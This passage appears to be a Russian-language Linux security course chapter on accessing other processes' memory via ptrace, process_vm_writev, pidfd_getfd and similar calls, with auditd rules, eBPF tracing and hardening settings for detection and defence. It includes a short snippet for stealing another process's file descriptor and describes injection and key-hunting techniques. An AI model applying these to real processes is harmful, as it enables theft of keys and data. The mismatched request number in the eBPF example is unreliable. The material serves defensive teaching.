#include <string.h>

int traced(void) {
    FILE *f = fopen("/proc/self/status", "r");
    char line[256];
    int pid = 0;
    if (!f) return -1;
    while (fgets(line, sizeof line, f)) {
        if (sscanf(line, "TracerPid: %d", &pid) == 1)
            break;
    }
    fclose(f);
    return pid > 0;
}

Функция возвращает 1, если процесс трассируется, 0 — если нет, -1 — если файл недоступен. Проверку можно вызывать периодически и реагировать на появление трассировщика: завершиться, очистить ключи или изменить поведение.

Эти приёмы не абсолютны: трассировщик может скрыть своё присутствие через PTRACE_SEIZE без остановки или через ядерный модуль, но в user space они поднимают стоимость атаки.

Другие двери в чужую память

ptrace — не единственный интерфейс. Их несколько, и защитник обязан знать каждый, потому что обнаружение, настроенное на один, пропускает остальные.

process_vm_writev и запись без остановки

process_vm_writev пишет в память цели, не останавливая её. Это одновременно и удобнее, и опаснее: не нужно подключаться, не меняется TracerPid, нет записи ptrace в аудите. Проверка прав та же (PTRACE_MODE_ATTACH_REALCREDS), но следов меньше.

Практическое следствие: правило аудита только на ptrace не покрывает этот путь. Нужен отдельный фильтр на сисколл process_vm_writev (номер 311 на x86_64) либо eBPF-точка на sys_enter_process_vm_writev.

pidfd_getfd: украсть дескриптор, а не память

Начиная с ядра 5.6, pidfd_open даёт дескриптор процесса, а pidfd_getfd позволяет скопировать файловый дескриптор из чужого процесса в свой. Это обходит необходимость читать память: если у цели открыт файл с ключом или сокет к базе, дескриптор можно просто забрать.

Проверка прав — ptrace_may_access с режимом PTRACE_MODE_ATTACH_REALCREDS, то есть Yama и CAP_SYS_PTRACE действуют. Но след в журнале будет уже другой: pidfd_getfd, а не ptrace.

int pfd = syscall(SYS_pidfd_open, pid, 0);
int stolen = syscall(SYS_pidfd_getfd, pfd, target_fd, 0);
/* stolen — полноценный дескриптор в нашем процессе */

userfaultfd: перехват страниц

userfaultfd позволяет процессу обрабатывать собственные page fault в пространстве пользователя. Для атакующего это инструмент тонкой синхронизации: можно «поймать» момент, когда цель обращается к странице, и подменить её содержимое. Для защитника — ещё один сисколл, который стоит держать на радаре, потому что легитимных применений у него мало (в основном сборщики мусора и live-migration в виртуализации).

process_madvise и mremap: тонкие эффекты

process_madvise (ядро 5.10) позволяет дать ядру совет относительно памяти другого процесса — например, MADV_DONTNEED, после которого страница будет выгружена и при следующем обращении заполнится нулями. Это не чтение, а порча: приём используется, чтобы стереть следы или вызвать сбой в нужном месте. mremap с MREMAP_DONTUNMAP — способ переместить отображение, не теряя его.

Оба вызова требуют тех же прав, что и ptrace, но оставляют другие записи в аудите и не меняют TracerPid.

Сводка: что где видно

ИнтерфейсОстанавливает цельМеняет TracerPidНомер сисколла x86_64
ptraceда (ATTACH) или нет (SEIZE)да101
process_vm_readvнетнет310
process_vm_writevнетнет311
pidfd_getfdнетнет438
process_madviseнетнет440
userfaultfdнетнет323

Таблица объясняет, почему «мы поставили правило на ptrace» — недостаточная защита. Из шести интерфейсов только один меняет TracerPid, и только два оставляют записи, которые видны без специального правила. Остальные требуют явного наблюдения на уровне сисколлов — то есть auditd с фильтром по номеру или eBPF-программы на sys_enter_*.

Отсюда и практический вывод для темы: обнаружение строится не вокруг инструмента, а вокруг списка интерфейсов. Инструменты меняются, номера сисколлов остаются.

Обнаружение и защита

auditd

ptrace — системный вызов, и его можно аудировать:

# /etc/audit/rules.d/ptrace.rules
-a always,exit -F arch=b64 -S ptrace -k ptrace_use
-w /proc/sys/kernel/yama/ptrace_scope -p wa -k ptrace_policy
-a always,exit -F arch=b64 -S process_vm_readv -k vm_read
-a always,exit -F arch=b64 -S process_vm_writev -k vm_write

События:

sudo ausearch -k ptrace_use -i --start today | tail -20
sudo ausearch -k vm_read -i --start today | tail -20

Настройка Yama и права администратора описаны в руководстве по администрированию 7. Правило на ptrace даёт много шума: отладчики, strace, gdb, системы сборки. Поэтому смотрят не на сам факт, а на сочетание: ptrace от процесса, который не является отладчиком, к процессу, который не является его потомком, в нерабочее время.

eBPF

Трассировка на уровне ядра видит sys_enter_ptrace и sys_enter_process_vm_readv независимо от того, как программа вызвала их — через libc или напрямую. Пример на bpftrace:

tracepoint:syscalls:sys_enter_ptrace
{
    printf("ptrace pid=%d comm=%s request=%d target=%d\n",
           pid, comm, args->request, args->pid);
}

Такой трейсер видит и gdb, и самодельный инжектор, и strace. Скрыть вызов от него можно только на уровне ядра — тем и занимается тема 8.

Что видно в логах

События auditd выглядят так (пример для strace, который использует ptrace):

type=SYSCALL msg=audit(1760800000.123:456): arch=c000003e syscall=101 success=yes exit=0
  a0=10 a1=0 a2=0 a3=0 items=0 ppid=1234 pid=5678 auid=1000 uid=1000 gid=1000
  euid=1000 comm="strace" exe="/usr/bin/strace" key="ptrace_use"

Поля читаются так: syscall=101 — номер ptrace на x86_64; a0 — первый аргумент, номер запроса, записанный в hex: a0=10 означает 0x10, то есть 16 — PTRACE_ATTACH; comm и exe — кто вызвал; key — метка правила. Для PTRACE_SEIZE в a0 будет 4206 (это 0x4206), для PTRACE_GETREGS — c (12).

Трассировка eBPF даёт более компактный и наглядный поток:

ptrace pid=5678 comm=strace request=16 target=4321
ptrace pid=5678 comm=strace request=4 target=4321

Первый вызов — PTRACE_ATTACH (request=16), второй — PTRACE_GETREGS (request=12). Главное — видно пару «кто» и «кого», чего достаточно для расследования.

Настройки, которые ломают приём

  • ptrace_scope=2 — подключение только с CAP_SYS_PTRACE; обычный пользователь не отладит даже свой процесс без sudo.
  • ptrace_scope=3 — полный запрет до перезагрузки.
  • PR_SET_DUMPABLE=0 — процесс не дампится, /proc/<pid>/mem недоступен.
  • seccomp-фильтр — запрет ptrace для процесса и его потомков.
  • mlock + MADV_DONTDUMP — чувствительные страницы не попадают в дамп и не выгружаются.
  • hidepid=2 — чужие /proc/<pid> не видны, значит, не видно и maps.
  • SELinux/AppArmor — профиль может запретить ptrace и чтение /proc/<pid>/mem даже при наличии прав.

Матрица «приём — признак — контрмера»

ПриёмПризнакКонтрмера
Чтение /proc/<pid>/memauditd на openat, process_vm_readvptrace_scope=2, hidepid=2, SELinux
PTRACE_ATTACHTracerPid, auditd -S ptraceYama, seccomp, PR_SET_DUMPABLE=0
gcoreвременный останов процесса, файл дампаcoredump_filter, MADV_DONTDUMP, аудит
Инъекция через mmapmmap с PROT_EXEC в чужом процессе, auditdseccomp на mmap с PROT_EXEC, W^X
Вызов функции через ripостановка и изменение регистровPTRACE_SEIZE-детект, TracerPid, eBPF
Поиск ключей в кучечтение больших rw-p-областейmlock, очистка буферов, короткое время жизни ключа

Итоги темы

Память процесса — это ещё один интерфейс видимости, наряду с procfs и netlink. Она доступна через /proc/<pid>/mem, process_vm_readv и ptrace, и каждый из этих путей проверяет права по-своему. ptrace даёт не только чтение, но и управление: можно остановить процесс, подменить регистры, вызвать функцию и восстановить состояние так, что процесс продолжит работу.

Границы приёма задаются не столько техникой, сколько политикой: Yama, seccomp, PR_SET_DUMPABLE, hidepid, профили SELinux. В типичной Ubuntu ptrace_scope=1 уже блокирует подключение к чужому процессу, а ptrace_scope=2 делает его доступным только администратору.

Обнаружение строится на трёх источниках: TracerPid в /proc, события auditd и трассировка eBPF. Первый виден самому процессу, второй — системе, третий — ядру. Скрыть ptrace от всех трёх можно только изменением ядра, и это уже тема 8.

Стоит запомнить главное число этой темы: интерфейсов доступа к чужой памяти шесть, а TracerPid меняет только один. Отсюда следует, что обнаружение нельзя строить вокруг инструмента — только вокруг списка интерфейсов, который нужно перечислить целиком и закрыть каждый. ptrace (101), process_vm_readv (310), process_vm_writev (311), pidfd_getfd (438), process_madvise (440), userfaultfd (323) — шесть номеров, шесть правил аудита или шесть eBPF-точек. Защитник, поставивший одно правило на ptrace, закрывает шестую часть поверхности и не знает об этом.

Второе, что стоит унести: инъекция ломается не на ptrace, а на деталях вокруг него. W^X превращает запись шелл-кода в появление подозрительного rwx-региона; многопоточность превращает одиночный PTRACE_ATTACH в гонку; выравнивание стека превращает вызов функции в падение внутри libc. Каждая из этих деталей — отдельный признак для защитника и отдельная ошибка для атакующего.

Третье: обратимость обманчива. Регистры восстанавливаются, detach возвращает процесс к работе, но maps помнит выделенный регион, аудит помнит подключение, а TracerPid помнит сам процесс. Инъекция — не «невидимое вмешательство», а вмешательство с последствиями, которые просто нужно уметь прочитать.

Следующая тема собирает весь курс в одну операцию: разведка, закрепление, эскалация, персистентность, сокрытие и эксфильтрация — с матрицей обнаружения на каждом шаге.

Литература

  1. The Linux man-pages project. — https://man7.org/linux/man-pages/
  2. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  3. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
  4. Linux Kernel Documentation. — https://docs.kernel.org/
  5. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
  6. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.
  7. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.